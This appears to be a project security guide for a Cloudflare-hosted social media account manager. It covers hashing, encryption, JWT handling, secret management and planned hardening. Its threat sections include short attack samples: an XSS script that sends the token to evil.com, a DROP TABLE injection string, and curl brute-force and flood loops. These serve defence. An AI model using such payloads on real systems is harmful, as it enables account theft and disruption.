Panduan keamanan dan best practices untuk Social Media Account Manager.
- Algorithm: bcryptjs with 10 salt rounds
- Storage: Hashed in
users.password_hash - Verification: Constant-time comparison
- Best Practice: Never log or expose password hashes
// Good
const hash = await bcrypt.hash(password, 10);
// Bad - too few rounds
const hash = await bcrypt.hash(password, 4);- Algorithm: AES-256-GCM (Web Crypto API)
- Key: Raw 32-byte key derived directly from
ENCRYPTION_KEY(64 hex chars, 32 bytes) - IV: Random 12 bytes per encryption, prepended
- Auth Tag: 16 bytes appended (validates integrity)
- Storage: Single Base64 blob:
base64( iv[12] || ciphertext || authTag[16] )
// Encryption format
const combined = iv(12) + ciphertext + authTag(16);
const encrypted = btoa(String.fromCharCode(...combined));
// Example
('7x8y9z0aAb1C...');Why separate encryption?
- User passwords: One-way hash (bcrypt) - cannot decrypt
- Account passwords: Reversible encryption (AES-GCM) - can decrypt when needed
{
"header": {
"alg": "HS256",
"typ": "JWT"
},
"payload": {
"sub": "user_id",
"email": "user@example.com",
"name": "User Name",
"iat": 1723006673,
"exp": 1723611473
}
}- Generation: After successful login/register
- Storage: Client-side localStorage (
token) - Transmission:
Authorization: Bearer <token>header - Verification: Every protected API call
- Expiry: 7 days from issue
Note: localStorage is current trade-off, not secure storage. XSS hardening mandatory.
โ DO:
- Verify signature on every request
- Check expiration (
expclaim) - Use HTTPS in production
- Use strong JWT_SECRET (min 32 chars)
- Keep CSP strict
- Treat localStorage token as XSS-exposed
โ DON'T:
- Store sensitive data in payload
- Use weak secrets
- Skip signature verification
- Extend expiry infinitely
- Share tokens between users
- Assume localStorage is safe
Attack:
'; DROP TABLE users; --Mitigation:
- โ Use Drizzle ORM (parameterized queries)
- โ Never concatenate user input into SQL
- โ Validate all inputs with Zod
Example (Safe):
// Drizzle automatically parameterizes
const user = await db.select().from(users).where(eq(users.email, userInput)); // SafeAttack:
<script>
fetch('https://evil.com?token=' + localStorage.getItem('token'));
</script>Mitigation:
- โ React escapes content by default
- โ
Never use
dangerouslySetInnerHTMLwith user input - โ Set CSP headers
- โ Sanitize user-generated content
CSP Headers:
contentSecurityPolicy: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
styleSrc: ["'self'", "'unsafe-inline'"], // Tailwind requires inline
}Attack:
<img src="https://victim.com/api/projects?delete=all" />Mitigation:
- โ JWT in Authorization header (not cookies)
- โ SameSite cookies (if using cookies)
- โ Verify Origin header
- โ CSRF tokens not needed for Bearer auth
Current Protection:
- Token stored in localStorage
- Transmitted via header (not auto-sent like cookies)
- Attacker cannot read token due to same-origin policy
Attack:
# Try 1000 passwords
for pass in $(cat passwords.txt); do
curl -X POST /api/auth/login -d "{\"email\":\"victim@example.com\",\"password\":\"$pass\"}"
doneMitigation:
- โ Rate limiting: 10 attempts per 15 minutes per IP
- โ Bcrypt slows down verification (~300ms per attempt)
โ ๏ธ Account lockout (planned)โ ๏ธ CAPTCHA (planned)
Current Implementation:
// Rate limit map: IP -> [timestamp, count]
const rateLimitMap = new Map<string, [number, number]>();
// 10 requests per 15 minutes
if (count > 10) {
return c.json({ error: 'Too many requests' }, 429);
}Attack:
- Intercept HTTP traffic
- Read JWT tokens
- Steal passwords
Mitigation:
- โ Use HTTPS in production (Cloudflare auto-enforces)
- โ HSTS headers (Cloudflare auto-adds)
- โ No mixed content (all assets over HTTPS)
Cloudflare Protection:
- TLS 1.3
- Certificate auto-renewal
- HTTP โ HTTPS redirect
Attack:
# Check if email exists
curl -X POST /api/auth/login -d '{"email":"test@example.com","password":"wrong"}'
# "Invalid credentials" โ email may exist
curl -X POST /api/auth/register -d '{"email":"test@example.com",...}'
# "Email already exists" โ confirms emailMitigation:
- โ Generic error messages ("Invalid credentials")
โ ๏ธ Rate limiting helpsโ ๏ธ Timing attacks (bcrypt time varies - acceptable trade-off)
Attack:
- Steal JWT token via XSS/MITM
- Use token to impersonate user
Mitigation:
- โ HTTPS only
- โ Short token expiry (7 days)
โ ๏ธ Refresh tokens (planned)โ ๏ธ Token revocation (planned; needs state store)
Future Enhancement:
// Store refresh token in httpOnly cookie
// Short-lived access token (15 min)
// Long-lived refresh token (30 days)Attack:
# Flood API with requests
while true; do
curl https://social.bits.co.id/api/auth/login &
doneMitigation:
- โ Cloudflare DDoS protection (automatic)
- โ Rate limiting on auth endpoints
- โ Workers CPU limit (prevents infinite loops)
- โ D1 query timeout
Cloudflare Protection:
- 100M+ requests/second capacity
- Challenge suspicious traffic
- Geographic blocking
| Data Type | Storage | Encryption |
|---|---|---|
| User passwords | D1 SQLite | bcrypt hash (irreversible) |
| Account passwords | D1 SQLite | AES-256-GCM (reversible) |
| JWT tokens | Client localStorage | Signed (HS256) |
| Database files | Cloudflare D1 | Encrypted at rest (Cloudflare) |
- Client โ Cloudflare: TLS 1.3
- Cloudflare โ Worker: Internal (encrypted)
- Worker โ D1: Internal (encrypted)
-
JWT_SECRET
- Purpose: Sign and verify JWT tokens
- Length: Min 32 characters
- Generate:
node -e "console.log(require('crypto').randomBytes(32).toString('base64'))"
-
ENCRYPTION_KEY
- Purpose: Encrypt social account passwords
- Length: Exactly 64 hex characters (32 bytes)
- Generate:
node -e "console.log(require('crypto').randomBytes(32).toString('hex'))"
# Production (recommended)
wrangler secret put JWT_SECRET
wrangler secret put ENCRYPTION_KEY
# Local dev (wrangler.toml [vars])
# Use dummy values, override with real secrets in productionIf ENCRYPTION_KEY is compromised:
- Generate new key
- Decrypt all account passwords with old key
- Re-encrypt with new key
- Update ENCRYPTION_KEY secret
Script (TODO):
npm run rotate-encryption-key# 1. SQL Injection
curl -X POST /api/auth/login \
-d '{"email":"admin'\'' OR 1=1--","password":"any"}'
# Should: 401 Invalid credentials
# 2. XSS
curl -X POST /api/projects \
-H "Authorization: Bearer $TOKEN" \
-d '{"name":"<script>alert(1)</script>"}'
# Should: Create project with escaped name
# 3. Rate limiting
for i in {1..15}; do
curl -X POST /api/auth/login -d '{"email":"test@test.com","password":"wrong"}'
done
# Should: 429 after 10 attempts
# 4. Auth bypass
curl /api/projects
# Should: 401 Unauthorized
# 5. CSRF
curl -X DELETE /api/projects/xyz123
# Should: 401 (no token)# npm audit
npm audit --production
# Snyk
npx snyk test
# OWASP ZAP (TODO)
# Point ZAP proxy to http://localhost:5173- Set JWT_SECRET in Cloudflare Secrets
- Set ENCRYPTION_KEY in Cloudflare Secrets
- Update CORS origin to production domain
- Enable HTTPS only (Cloudflare auto)
- Remove debug logs
- Run
npm audit --production - Test rate limiting
- Verify token expiration works
- Test login flow in production
- Verify HTTPS certificate
- Check CSP headers
- Enable Cloudflare WAF
- Set up monitoring/alerts
- Test account password encryption/decryption
- Verify rate limiting in production
- Rotate JWT_SECRET every 90 days
- Monitor failed login attempts
- Review audit logs weekly
- Update dependencies monthly
- Security scan quarterly
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Strict-Transport-Security: max-age=31536000; includeSubDomains
Hono secureHeaders() middleware handles these automatically.
If you find a security issue:
- DO NOT open public GitHub issue
- Email: security@bits.co.id
- Include:
- Vulnerability description
- Steps to reproduce
- Impact assessment
- Allow 90 days for fix before public disclosure
-
2FA (TOTP)
- OTP generation with
otplib - QR code for authenticator apps
- OTP generation with
-
Refresh Tokens
- Short-lived access tokens (15 min)
- Long-lived refresh tokens (30 days)
- Store in httpOnly cookies
-
Session Management
- Multi-device session tracking
- Remote logout
- Active sessions list
-
Audit Logs
- Track all CRUD operations
- IP address logging
- Suspicious activity alerts
-
Password Policies
- Minimum complexity requirements
- Password history
- Expiration (enterprise)
-
Account Lockout
- Lock after 5 failed attempts
- Unlock via email verification
-
Email Verification
- Verify email on registration
- Password reset flow
-
API Key Management
- Generate API keys for external integrations
- Scoped permissions
| Area | Status |
|---|---|
| Password hashing | implemented |
| Account password encryption | implemented |
| JWT auth | implemented |
| Rate limiting | implemented |
| CSP headers | planned |
| Refresh tokens | planned |
| Token revocation | planned |
| Account lockout | planned |
| CAPTCHA | planned |
| Audit logs | planned |
Current Security Grade: B+
Strong foundation with bcrypt, AES-256, JWT, rate limiting, and Cloudflare protection. Room for improvement with 2FA, refresh tokens, and audit logging.